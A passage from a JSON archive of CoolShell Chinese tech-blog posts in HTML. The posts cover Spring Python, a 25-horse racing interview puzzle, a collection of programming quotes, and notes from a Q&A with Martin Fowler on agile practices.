    "path": "blogs/rss2html/2009-7-30 Python也Spring了.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"90\" src=\"http://springpython.webfactional.com/reference/html/images/spring_python_white.png\" width=\"265\"/>没想到啊，Python也有Spring的框架了，看看SpringPython项目主页（<a href=\"http://springpython.webfactional.com/\">http://springpython.webfactional.com/</a>）。这个项目的Leader是这样说的：Spring Python是基于Java的Spring框架（Spring Framework）和Spring安全（Spring Security）的一个分支，它以Python语言为目标。Spring提供了许多有用的特征功能，同样地这些特征功能在Python下也应当有效。– Greg Turnquist</p>\n<p><span id=\"more-1204\"></span></p>\n<p>从这个项目的主页可以看到有下面这些Key features：</p>\n<ul>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/objects.html\">反转控制IoC</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/aop.html\">面向方面的编程(AOPAspect-oriented Programming)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/dao.html\">数据库访问 (Data Access)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/transaction.html\">事务管理 (Transaction Management)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/security.html\">安全性 (Security)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/remoting.html\">远程分布式 (Remoting)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/plugins.html\">插件/命令行工具 (Plug-ins/command-line tool)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html\">演示示例</a> \n<ul>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html#samples-petclinic\">PetClinic</a> – 一个怎样使用框架的例子.</li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html#samples-springwiki\">Spring Wiki</a> – Wikis是存储和管理内容的有效方式!</li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html#samples-springbot\">Spring Bot</a> – 使用框架建立管理IRC通道的例子。</li>\n</ul>\n</li>\n</ul>\n<p>看上去好像不错，不过细想一下，是不是有点多余，有点画蛇添足啊？反正我有一种比较怪怪的感觉。不过10年前有人问我搜索引擎怎么样？我当时也觉得那个东西很无聊，呵呵。让我们看看未来这个东西是否真的能够进入企业级的解决方案。不过目前我们的Python社区好像几乎没有什么反应。</p>\n<p>欢迎你留下你的看法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1204.html\">Python也Spring了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-30 面试题：赛马问题.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg\"></a>据说，这是Google的面试题。面试题目如下：</p>\n<p style=\"padding-left: 30px; text-align: left;\"><span style=\"color: #008000;\"><strong><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg\"><img alt=\"Question\" class=\"alignright\" height=\"158\" src=\"../wp-content/uploads/2009/07/Question.jpg\" title=\"Question\" width=\"158\"/></a>一共有25匹马，有一个赛场，赛场有5个赛道，就是说最多同时可以有5匹马一起比赛。假设每匹马都跑的很稳定，不用任何其他工具，只通过马与马之间的比赛，试问，最少得比多少场才能知道跑得最快的5匹马？（</strong>不能使用撞大运的算法<strong>）</strong></span></p>\n<p>很明显这是一个算法题，网上有很多贴子在讨论这个问题，不过都没有给出一个明确的答案。我想了想，想到下面的一个算法：</p>\n<p style=\"padding-left: 30px;\">1）分成5组A，B，C，D，E，比五场。然后根据每场结果分别给这五组内的五匹马排序（从快到慢）。<br/>\n2）每组的头名再赛一场，取走第一名，然后该组第二名顶上。<br/>\n3）重复第二步，直到选出前5名。</p>\n<p>这个算法是比较笨的算法，总计需要<strong>赛10次，</strong>这个算法应该是万无一失的。现在的问题的就，如何优化这个算法，想了想，的确是有优化的空间的。也就是说，是可以少于10次的。</p>\n<p><span id=\"more-1202\"></span></p>\n<p>想了一想，上面的那个算法自从第6次开始就使用5个排序数组的头名做“冒泡法”，总是挑一个最优秀的出来，其实，<strong><span style=\"color: #800000;\">在第6次以后除了挑出最优秀的，我们还可以在每次比赛后淘汰一些速度不行的</span></strong>，淘汰的马匹数自然会比选出的更多，所以，一方面在找，另一方面在淘汰，找出前5名的速度应该会更快。</p>\n<p>比如：我们假设比赛完第六场后，我们得到下面的排序：（每组排序是——快马从左到右，各组头名的排序是——快马从上到下）</p>\n<p style=\"padding-left: 30px;\">A组 A1 A2 A3 A4 A5<br/>\nB组 B1 B2 B3 B4 B5<br/>\nC组 C1 C2 C3 C4 C5<br/>\nD组 D1 D2 D3 D4 D5<br/>\nE组 E1 E2 E3 E4 E5</p>\n<p>这样，我们不但知道，A1是25匹马里最快的马，而且我们可以淘汰近一半的马，比如E2，E3，E4，E5就可以全部淘汰了，为什么呢，因为比E2快的马有A1,B1,C1,D1,E1这五匹马，所以，E2后面的马是无法进入前五名了；同理，D3和其后面的也进入不了前5；同理，C4，C5，B5都可以淘汰。</p>\n<p>于是，在第六轮后我们可以得知，除了A1外的Top 4必然在下面这些马中：</p>\n<p>A组  A2 A3 A4 A5<br/>\nB组 B1 B2 B3 B4 <br/>\nC组 C1 C2 C3 <br/>\nD组 D1 D2 <br/>\nE组 E1</p>\n<p>接下来的过程应该不必我多说了。重复前面的方法，尽可能淘汰无法进前N名的马，于是后面的马就越来越少，你所需要的比赛也会越来越少。</p>\n<p>那么，对于这个题，聪明的你知道最少要比赛几场了吗？</p>\n<p>举一反三，如果有64匹马，8个赛道呢？不失一般性，如果有N匹马，M个赛道呢？N = M*M，那么公式是什么呢？</p>\n<p>期待你的答案！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4429.html\"><img alt=\"面试题：火车运煤问题\" height=\"150\" src=\"../wp-content/uploads/2009/07/Question-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4429.html\">面试题：火车运煤问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4162.html\"><img alt=\"又一个有趣的面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1202.html\">面试题：赛马问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-31 编程引言补充.html",
    "content": "<html><body><p>之前收集过《<a href=\"https://coolshell.cn/articles/808.html\" title=\"22条经典的编程引言 - 1,565 次浏览\">22条经典的编程引言</a>》，发现还有一些未收录的，下面这些引言也很有意思的，希望你喜欢。</p>\n<p>“The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time.” – Tom Cargill <br/>\n “最开始的90%的代码使用了程序员90%的时间，剩下的10%的代码也需要90%的开发时间”——Tom Cargill（这不就是中国谚语——“行百步半九十”）</p>\n<p>　</p>\n<p>“In order to understand recursion, one must first understand recursion.” – Author Unknown <br/>\n “要知道什么是‘递归’，你首先需要知道‘递归’”——无名氏</p>\n<p><span id=\"more-1212\"></span></p>\n<p>　</p>\n<p>“I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone.” – Bjarne Stroustrup <br/>\n“我总是希望电脑能和电话一样好用，现在我的这个愿望成真了，因为我已经不知道怎么使用我的电话了”– Bjarne Stroustrup</p>\n<p>　</p>\n<p> “There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult.” -C.A.R. Hoare<br/>\n“我们有两个方法来进行软件设计：一个是让其足够的简单以至于让BUG无法藏身；另一个就是让其足够的复杂，让人找不到BUG。前者更难一些” — C.A.R. Hoare</p>\n<p>　</p>\n<p>  “If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization.” – Gerald Weinberg<br/>\n“如果建筑工人盖房子就像程序员写程序一样，那么只需要一只啄木鸟就可以摧毁人类文明”– Gerald Weinberg</p>\n<p>　</p>\n<p>“Nine people can’t make a baby in a month.” – Fred Brooks <br/>\n“九个人不能只用一个月就能生出孩子来”– Fred Brooks （这是对人月计算法的一个讽刺）</p>\n<p> 　</p>\n<p>“Before software can be reusable it first has to be usable.” – Ralph Johnson<br/>\n“在软件可被重用前，它必需要可以被用”– Ralph Johnson</p>\n<p> 　</p>\n<p>程序员之歌<br/>\n99 little bugs in the code,<br/>\n99 bugs in the code,<br/>\nfix one bug, compile it again,<br/>\n101 little bugs in the code.<br/>\n101 little bugs in the code….<br/>\n(Repeat until BUGS = 0)</p>\n<p>　</p>\n<p>Any fool can write code that a computer can understand. Good programmers write code that humans can understand. <em>–Martin Fowler<br/>\n</em>任何一个傻子都能写出让电脑能懂的代码，而只有好的程序员可以写出让人能看懂的代码 — Martin Fowler</p>\n<p>　</p>\n<p><strong>Wirth’s law:</strong> Software gets slower faster than hardware gets faster. —<a href=\"http://en.wikipedia.org/wiki/Niklaus_Wirth\" target=\"_blank\"><em>Niklaus Wirth</em></a><br/>\nWirth定律，软件把性能变慢的速度要快于硬件把性期变快的速度。– Niklaus Wirth</p>\n<p>　</p>\n<p> Better train people and risk they leave – than do nothing and risk they stay.<br/>\n—<em>Anonymous<br/>\n</em>就算是培训的员工会离开，这也好过他们什么也不做却不会离开。——无名氏</p>\n<p>　</p>\n<p>Good judgment comes from experience, and experience comes from bad judgment. —<a href=\"http://en.wikipedia.org/wiki/Fred_Brooks\">Frederick P. Brooks</a><br/>\n“好的判断来自于经验，而经验则来自于坏的判断”</p>\n<p>　</p>\n<p>UNIX is simple. It just takes a genius to understand its simplicity <em>–Dennis Ritchie<br/>\n</em>UNIX 简单的，但只有天才才能知道他的简单 — Dennis Rithie</p>\n<p>　</p>\n<p>Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things. 　<em>–Doug Gwyn<br/>\n</em>Unix 并不是设计成——阻止人们做那些愚蠢的事，因为那同样会阻止人们做聪明的事。——Doug Gwyn</p>\n<p>　</p>\n<p>如果你想看更多这样的引言，你可以浏览下面这个网页：<br/>\n<a href=\"http://www.comp.nus.edu.sg/~damithch/pages/SE-quotes.htm\">http://www.comp.nus.edu.sg/~damithch/pages/SE-quotes.htm</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11656.html\"><img alt=\"开发团队的效率\" height=\"150\" src=\"../wp-content/uploads/2014/06/software_development-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11656.html\">开发团队的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3258.html\"><img alt=\"C++的字符串格式化库\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3258.html\">C++的字符串格式化库</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3083.html\"><img alt=\"三个教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3083.html\">三个教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2250.html\"><img alt=\"“21天教你学会C++”\" height=\"150\" src=\"../wp-content/uploads/2010/03/Teach_Youself_CPP_21days-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2250.html\">“21天教你学会C++”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3649.html\"><img alt=\"TDD并不是看上去的那么美\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1212.html\">编程引言补充</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-5 与Martin Fowler关于敏捷方法的问答.html",
    "content": "<html><body><p>2009年6月23日，Martin Fowler到公司访问，与我们开了一个小型座谈会并顺便拜访了他在ThoughtWorks的同事们。</p>\n<p style=\"text-align: center;\"><img alt=\"MeetMartinFowlerSmall\" class=\"alignnone size-full wp-image-1122\" height=\"360\" src=\"../wp-content/uploads/2009/07/MeetMartinFowlerSmall.JPG\" title=\"MeetMartinFowlerSmall\" width=\"480\"/></p>\n<p>以下是座谈的内容：</p>\n<p><span id=\"more-1113\"></span></p>\n<p><strong>1、如何在常规业务中应用敏捷方法？ </strong></p>\n<p>常规业务（Business As Usual）是指使公司业务正常运营而进行的一些日常业务活动，对于IT部门而言则包括系统维护、技术支持以及应用更改。这些工作相对于独立的软件项目而言即琐碎又零散，但又是不可或缺的。“如何在常规业务中应用敏捷方法？”，这是我们向Martin提出的第一个问题。Martin阐述道，首先需要澄清一下对项目的定义，传统的项目运作方式是集中一批业务人员、开发人员和管理人员进行产品开发，开发完成后将产品交付系统运行和支持部门，项目也就随之结束了。在敏捷方法中，项目是一个持续性的过程，系统随着业务的需要不断地更改和重构，参与项目的人员也相应地在不断地增加或者减少。笔者的理解是只要系统仍在支持业务运营，项目就不会结束，因为业务几乎不可能不变更，并且必要的重构也不可避免，对于ThoughtWorks的顾问们来说这意味着他们和客户的业务关系也不会结束，呵呵，双赢的策略！</p>\n<p><strong>2、集中式办公和分布式办公 </strong></p>\n<p>Martin强烈反对项目成员分散式办公，甚至觉得如果你需要业务人员每天到你的办公室来访问你，那简直是不可接受的，至少你应该每天都去拜访他们。“It is a shame if the business stakeholders need to come to your office every day”大意如此。但是现实却是，对于很多公司而言，将业务经理、项目经理、业务分析人员、开发人员和测试人员都集中在一个办公室简直就是一件不可能完成的任务。笔者目前所在的项目有三个团队，一个在悉尼，两个在墨尔本，每周进行四次远程视频会议，同时通过使用电话、即时消息系统、电子邮件、项目WiKi系统等手段来解决分布办公带来的沟通不及时和信息不透明等问题。Martin最后也不得不承认，很多时候如果实在不能够做到集中式办公，那只有准备好为此付出一定的成本。笔者认为要做到完全的集中式办公可能不太现实，不过可以尽可能在异地团队之间保持相关业务的对等沟通，比如在各个团队中都尽可能安排项目相关的各类角色，如：业务经理、项目经理、开发人员等，让这些人员与在异地的相同职能的人员沟通，然后再将信息在各自的团队内消化和共享，这样的效果也许会好于纯粹的按照职能来分布团队。</p>\n<p><strong>3、交叉技能（Cross Skills）</strong></p>\n<p>这里主要讲的是BA（Business Analyst 业务分析人员）和QA（Quality Assurance 质量保证人员或测试人员），Martin说在理想的情况下，BA和QA的角色可以合并，开发人员和QA的角色也可以互换。因为BA和QA都需要对系统功能有很清晰全面的了解，他们也是系统测试的主要参与者和鉴定者，他们用来定义系统功能的主要文档是用户故事（Story），而用来测试系统功能的则是功能测试代码，测试人员和开发人员有责任将功能测试代码写得易于阅读，特别是对于BA，如果他们能够象阅读用户故事一样阅读功能测试代码，将会提高他们测试系统的效率和兴趣。这也是在功能测试中使用领域特定语言（Domain Specific Language）的目的，如果BA和QA都能够阅读和使用DSL编写测试代码，那该多好啊！（憧憬中…） 通过让开发人员轮换地担任QA的角色，可以帮助提高测试代码的质量，也可以让开发人员真正从用户的角度来考虑系统功能的设计，还可以建立相互信任、相互尊重（appreciate each others work）的良好氛围。</p>\n<p><strong>4、设计和编码 </strong></p>\n<p>一位同事谈到对业务模型缺乏了解会导致代码难于理解，有时候即使代码的质量过关并且系统功能都在正常工作，但是系统的设计却和业务模型出现很大的偏差。“ 在实现设计之前，开发人员需要正确理解整个业务模型（The big picture）”，这是被经常提及的解决方法之一。Martin对此却不置可否，当然能够理解整个业务模型是最理想的情况，但是往往很少有人能够做到这一点，即便能够做到，业务模型也会随着时间和具体情况而变更。Martin首先认为设计和编码不是两个分离的过程，开发人员在设计过程中编码，也在编码过程中设计。开发人员在编码的过程中实现自己当前对业务模型的了解，首先让功能模块工作起来（Get it working），同时考虑如何让代码更便于日后的必要的重构，随着时间的推移，开发人员对业务模型的了解会不断清晰和全面，只要代码易于重构，整个系统的设计和实现将会不断地、最终地符合业务模型。</p>\n<p><strong>5、公司内部的开源项目，鼓励用户参与产品开发 </strong></p>\n<p>很多公司里不同的IT部门可能会重复开发相同功能的产品，这样会导致很大的资源浪费，用户也会面临选择的难题。再者，Martin发现很多IT部门对用户提出的功能需求缺乏足够快的响应速度，主要原因是开发人员资源有限，即使再玩命地工作也不可能在用户的预期时间内处理完本来就很长的功能需求队列。典型的例子是：公司有两个IT部门A和B，A部门需要B部门对邮政编码的Web Service做一个功能更改，而B部门的开发人员正忙于处理n个之前提交的功能需求，所以A部门的需求只能在队列中耐心等待直到B部门有开发人员空闲。如何缩短用户的等待时间？Martin建议如果A部门有开发人员熟悉Web Services，他可以从B部门的源代码库中提取邮政编码Web Service的代码，并且编码实现他需要的功能，完成之后生成代码包提交给B部门审核和测试，通过后就可以将代码合并到代码库中。这样做的优点是：1. 将功能需求由开发部门驱动转变为用户驱动，因为用户是真正了解并需要这个功能的人，所以用户会更为迫切地运用各种手段实现该功能，同时保证功能如其预期的那样运行。 2. 缩短开发周期，如果用户不愿意等待的话他可以立即着手开始功能的实现，而不必等待B部门的人员。3. 有利于公司内部的知识共享和交流，即便A部门的开发人员不熟悉Web Services但是愿意学习，B部门的开发人员可以通过结对编程（Pair Programming）的方法指导对方，待对方上手之后即可返回自己的工作，相对于B部门开发人员由始至终开发整个功能而言，这仍然可以大大缩短整个开发周期。当然，公司内部的开源策略需要一些前提，首先是部门之间应该有共同的知识领域，代码和文档需要版本控制的支持，部门人员能够理解和运用结对编程。</p>\n<p><strong>6、选择和运用框架 </strong></p>\n<p>“It is like you buying a new PC every 2 years” 当Martin被问道“这么多的应用框架层出不穷，我们该如何选择？”的时候如是回答。每几年我们都会换一台新电脑，是因为新的电脑内存更大，处理速度更快，应用软件也更复杂，要求的系统资源也更多。我们使用框架的目的也是解决业务相关的问题，只要是对业务有利的框架，都值得花一点时间去关注。 Martin鼓励公司允许开发人员占用一定的工作时间来实验新的框架，因为不这样如何能够知道它是否对提升业务价值有帮助。当然框架在生产环境（Production Environment）中的表现是衡量的一个重要标准，因为不经过生产环境中各种复杂情况的检验，很难最终确定框架是否适用。</p>\n<p><strong>（<strong>本文系作者原创，请勿用于商业用途</strong>，如转载请注明出自酷壳www.cocre.com）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2622.html\"><img alt=\"为什么敏捷方法能在软件开发中行之有效？\" height=\"150\" src=\"../wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2622.html\">为什么敏捷方法能在软件开发中行之有效？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/194.html\"><img alt=\"Linux 相关的资源站makelinux.net\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/194.html\">Linux 相关的资源站makelinux.net</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2086.html\"><img alt=\"iPad进化图\" height=\"150\" src=\"../wp-content/uploads/2010/02/ipad-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2086.html\">iPad进化图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3463.html\"><img alt=\"图解SQL的Join\" height=\"150\" src=\"../wp-content/uploads/2011/01/Inner_Join-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3463.html\">图解SQL的Join</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1113.html\">与Martin Fowler关于敏捷方法的问答</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-5 整洁代码的4个提示.html",
